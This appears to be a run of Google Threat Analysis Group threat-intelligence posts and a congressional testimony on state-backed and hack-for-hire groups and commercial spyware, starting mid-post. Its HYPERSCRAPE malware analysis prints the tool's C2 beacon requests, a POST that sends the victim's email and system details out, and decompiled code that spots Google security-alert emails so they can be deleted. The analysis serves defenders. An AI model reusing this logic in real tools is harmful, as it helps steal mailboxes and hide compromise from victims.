We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye) and DEV-0193 (Microsoft).
While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications.
Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities.
We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
Recent domains used in email campaigns:
BazarLoader ISO samples:
Recent BUMBLEBEE ISO samples:
Recent BUMBLEBEE C2:
Online security is extremely important for people in Ukraine and the surrounding region right now.
Government agencies, independent newspapers and public service providers need it to function and individuals need to communicate safely.
Google’s Threat Analysis Group (TAG) has been working around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
This work continues our longstanding efforts to take action against threat actors in this region.
In the last 12 months, TAG has issued hundreds of government-backed attack warnings to Ukrainian users alerting them that they have been the target of government backed hacking, largely emanating from Russia.
Over the past two weeks, TAG has observed activity from a range of threat actors that we regularly monitor and are well-known to law enforcement, including FancyBear and Ghostwriter.
This activity ranges from espionage to phishing campaigns.
We’re sharing this information to help raise awareness among the security community and high risk users:
FancyBear/APT28, a threat actor attributed to Russia GRU, has conducted several large credential phishing campaigns targeting ukr.net users, UkrNet is a Ukrainian media company.
The phishing emails are sent from a large number of compromised accounts (non-Gmail/Google), and include links to attacker controlled domains.
In two recent campaigns, the attackers used newly created Blogspot domains as the initial landing page, which then redirected targets to credential phishing pages.
All known attacker-controlled Blogspot domains have been taken down.
Example credential phishing domains observed during these campaigns:
Ghostwriter/UNC1151, a Belarusian threat actor, has conducted credential phishing campaigns over the past week against Polish and Ukrainian government and military organizations.
TAG has also identified campaigns targeting webmail users from the following providers:
Example credential phishing domains observed during these campaigns:
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Mustang Panda or Temp.
Hex, a China-based threat actor, targeted European entities with lures related to the Ukrainian invasion.
TAG identified malicious attachments with file names such as 'Situation at the EU borders with Ukraine.zip'.
Contained within the zip file is an executable of the same name that is a basic downloader and when executed, downloads several additional files that load the final payload.
To mitigate harm, TAG alerted relevant authorities of its findings.
Targeting of European organizations has represented a shift from Mustang Panda’s regularly observed Southeast Asian targets.
DDoS Attacks
We continue to see DDoS attempts against numerous Ukraine sites, including the Ministry of Foreign Affairs, Ministry of Internal Affairs, as well as services like Liveuamap that are designed to help people find information.
We expanded eligibility for Project Shield, our free protection against DDoS attacks, so that Ukrainian government websites, embassies worldwide and other governments in close proximity to the conflict can stay online, protect themselves and continue to offer their crucial services and ensure access to the information people need.
Project Shield allows Google to absorb the bad traffic in a DDoS attack and act as a “shield” for websites, allowing them to continue operating and defend against these attacks.
As of today, over 150 websites in Ukraine, including many news organizations, are using the service.
We encourage all eligible organizations to register for Project Shield so our systems can help block these attacks and keep websites online.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
And while we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.
Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee:
Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.
We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.
Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.
We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.
Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.
TAG actively monitors threat actors and the evolution of their tactics and techniques.
For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.
We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.
We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.
TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.
And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.
We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.
Google has a long track record combating commercial surveillance tools targeting our users.
In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.
At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.
We observed fewer than three dozen installs of this spyware.
We remediated the compromises for these users and implemented controls to protect all Android users.
NSO Group continues to pose risks across the Internet ecosystem.
In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.
Google was able to identify the vulnerability in use and fix the exploit quickly.
In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.
iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.
Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.
Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.
Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.
For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.
We assessed that a surveillance vendor packaged and sold these technologies.
Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.
Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.
Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.
We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.
Among other targets, this spyware was used to compromise journalists and opposition politicians.
Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.
TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.
The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.
Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.
These vendors operate with deep technical expertise to develop and operationalize exploits.
We believe its use is growing, fueled by demand from governments.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.
This industry appears to be thriving.
In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.
This trend should be concerning to the United States and all citizens.
These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.
Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.
In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.
On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.
Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.
Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.
On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.
Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.
We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.
And we offer other advanced phishing and malware protection to administrators to better protect their users.
By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.
However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.
For Android, through its entire development lifecycle, we subject the products to a rigorous security program.
The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.
We ensure appropriate controls are built into the architecture of the system.
During the development stage, Android-created and open source components are subject to vigorous security reviews For users, Android provides safety and control over how apps and third parties can access the data from their devices.
For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.
We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.
For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.
Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.
Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.
We also provide research grants to security researchers to help fund and support the research community.
This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.
Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.
Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.
Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.
We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.
To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.
APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.
We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.
The first step is to understand the scope of the problem.
We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.
The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.
The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.
We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.
Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.
The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.
Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.
Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.
Google is investing heavily as a company and as an industry to counter serious threats to our users.
In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.
While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.
Google is committed to leading the industry in detecting and disrupting these threats.
I thank the Committee for this attention on this critical issue.
Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.
Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.
TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.
Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.
Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.
Here is a deeper look at some campaign activity TAG has observed since our last update:
Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.
This is the first known instance of Turla distributing Android-related malware.
The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.
We believe there was no major impact on Android users and that the number of installs was miniscule.
The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.
However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.
The list of target websites for the app can be seen in the CyberChef recipe here.
During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.
In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.
This app is quite different from the Turla apps described above and written by a different developer.
It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.
Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.
Indicators:
The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.
Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).
Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.
The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.
TAG has also observed an increasing number of financially motivated actors targeting Ukraine.
One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.
We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.
Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.
They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.
An example of this technique, used to target Facebook users, can be seen in the screenshot below.
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.
In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.
In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER indicators:
In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.
In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.
Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.
As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.
Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
Both, however, enable attacks by those who would otherwise lack the capabilities to do so.
We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.
They also conduct corporate espionage, handily obscuring their clients’ role.
To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.
The hack-for-hire landscape is fluid, both in how the attackers organize themselves and in the wide range of targets they pursue in a single campaign at the behest of disparate clients.
Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.
For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.
This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.
We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.
The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.
A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.
India
Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.
One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.
These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.
TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.
Russia
While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.
But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.
This hack-for-hire actor has been publicly referred to as 'Void Balaur'.
These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.
The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.
After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.
Both OAuth tokens and App Passwords are revoked when a user changes their password.
During our early investigation, TAG discovered the attacker’s public website (no longer available) advertising account hacking capabilities for email and social media services.
The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.
Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo!
and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.
United Arab Emirates
TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.
They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.
Amnesty International has also reported on their campaigns.
The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.
Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'
Previously described by Amnesty, this phishing kit has remained under active development over the past five years.
After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.
The attacker would then use a custom tool to download the mailbox contents via IMAP.
This group also has links to the original developers of H-Worm, also known as njRAT.
In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.
Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further harm.
We encourage any high risk user to enable Advanced Protection and Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.
We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.
With contributions from Winnona DeSombre
UAE hack-for-hire Group Domains:
Indian hack-for-hire Group Domains:
Russian hack-for-hire Group Domains:
Google has been tracking the activities of commercial spyware vendors for years, and taking steps to protect people.
Just last week, Google testified at the EU Parliamentary hearing on “Big Tech and Spyware” about the work we have done to monitor and disrupt this thriving industry.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
This makes the Internet less safe and threatens the trust on which users depend.
Today, alongside Google’s Project Zero, we are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android.
We have identified victims located in Italy and Kazakhstan.
All campaigns TAG observed originated with a unique link sent to the target.
Once clicked, the page attempted to get the user to download and install a malicious application on either Android or iOS.
In some cases, we believe the actors worked with the target’s ISP to disable the target’s mobile data connectivity.
Once disabled, the attacker would send a malicious link via SMS asking the target to install an application to recover their data connectivity.
We believe this is the reason why most of the applications masqueraded as mobile carrier applications.
When ISP involvement is not possible, applications are masqueraded as messaging applications.
The page, in Italian, asks the user to install one of these applications in order to recover their account.
Looking at the code of the page, we can see that only the WhatsApp download links are pointing to attacker controlled content for Android and iOS users.
To distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with the following manifest file and using com.ios.
Carrier as the identifier.
The resulting application is signed with a certificate from a company named 3-1 Mobile SRL (Developer ID: 58UP7GFWAA).
The certificate satisfies all of the iOS code signing requirements on any iOS devices because the company was enrolled in the Apple Developer Enterprise Program.
These apps still run inside the iOS app sandbox and are subject to the exact same technical privacy and security enforcement mechanisms (e.g.
code side loading) as any App Store apps.
They can, however, be sideloaded on any device and don't need to be installed via the App Store.
We do not believe the apps were ever available on the App Store.
The app is broken up into multiple parts.
